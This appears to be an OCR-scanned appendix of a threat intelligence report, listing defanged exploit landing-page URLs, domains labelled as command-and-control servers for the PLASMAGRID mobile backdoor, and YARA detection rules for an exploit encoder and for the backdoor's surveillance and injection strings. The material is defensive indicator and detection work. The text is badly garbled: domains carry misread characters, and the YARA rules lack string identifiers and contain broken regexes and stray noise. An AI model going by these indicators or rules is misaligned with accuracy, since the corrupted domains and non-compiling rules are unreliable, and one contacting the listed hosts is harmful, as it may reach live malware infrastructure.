https://7p[.Jgame/groupl.]html

https://Iddx3z2d72aa8i6[.]xyz/group[.]html

https://anyggl.lliquorfight[.Jcom/88k4ez/group[.]html

https://goanalytics[.]xyz/88k4ez/group[.]html

http://land[.]77bingos[.]Jcom/88k4ez/groupl[.]html

https://land[.]bingo777[.Jnow/88k4ez/group[.]html




http://land[.]bingo777[.Jnow/88k4ez/group[.]html

http://land[.]777bingos|[.]xyz/88k4ez/group[.]html

https://btrank].]top/tuiliu/group[.]html

https://dd9I7Te6ghme8pbk[.]xyz/groupl.]html

https://res54allb[.]xn--xkrsa0078bdéd[.]Jcom/group[.]html

https://fxrhcnfwxes90q[.]xyz/group[.]html

https://kanav|.]blog/group[.]html

https://3vSw1km5gv[.]xyz/groupl.]Jhtml

PLASMAGRID C2 domains

vvri8ocl4t3k8né.xyz

rlaué16jc7arf7i.xyz

olé7el6pxg03ad7.xyz

6zvjeulzaw5cOmv.xyz

ztvnhmhm4zj95w3.xyz

v2gmupm704zihc3.xyz

penOaxtOu476duw.xyz




hfteigt3ktOsf3z.xyz

xfal48cfOies7ew.xyz

yvgy29glwf72gnl.xyz

lk4x6x2ejxaw2br.xyz

2s3b3rknfgtwwpo.xyz

xjslbdt9jdijn15.xyz

hui4tbh9uv9x4yi.xyz

xittgvegaufogve.xyz

xmmfrkg9oat1daqg.xyz

Isnngjyu9xé6vcg0.xyz

gdvynopz3paOtik.xyz

008h5rhu2lu1x0q.xyz

zcjdlb5ubkhy41u.xyz

8fn4957c5g986jp.xyz

uawwydy3qgaséykv.xyz

sf2bisx5nhdkygn3l.xyz

roy2tlop2u.xyz




gqjs3ra34lyuvzb.xyz

eg2bjo5x5r8yjb5.xyz

b38w09ecdejfgsf.xyz

YARA Rules

rule G _Hunting Exploit MapJoinEncoder 1 {

meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
$s1 = /\[[*\]]+\]\.map\(\w\s*=>.{0,15}String\.from
$fpl = "bot|googlebot|crawler|spider|robot|crawlin
condition:
1 of ($s*) and not any of ($fp*)
}
( D >

rule G_Backdoor PLASMAGRID Strings 1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
strings:
= "com.plasma.appruntime.appdiscovery"
= "com.plasma.appruntime.downloadmanager"
= "com.plasma.appruntime.hotupdatemanager"
= "com.plasma.appruntime.modulestore”
.plasma.appruntime.netconfig"
= "com.plasma.bundlemapper”
= "com.plasma.event.upload.serial"

= "com.plasma.notes.monitor"

A A A A A A A A
]
N
o
=

= "com.plasma.photomonitor”



= "com.plasma.PLProcessStateDetector”
= "plasma_heartbeat_monitor"

= "plasma_injection_dispatcher"

= "plasma_ipc_processor"

"plasma_%@.jpg"

= "helion_ipc_handler"
= "PLInjectionStateInfo"

T B A A A B A A B
I

= "PLExploitationInterface”
condition:

1 of them

<« D

= "/var/mobile/Library/Preferences/com.plasma.

ph



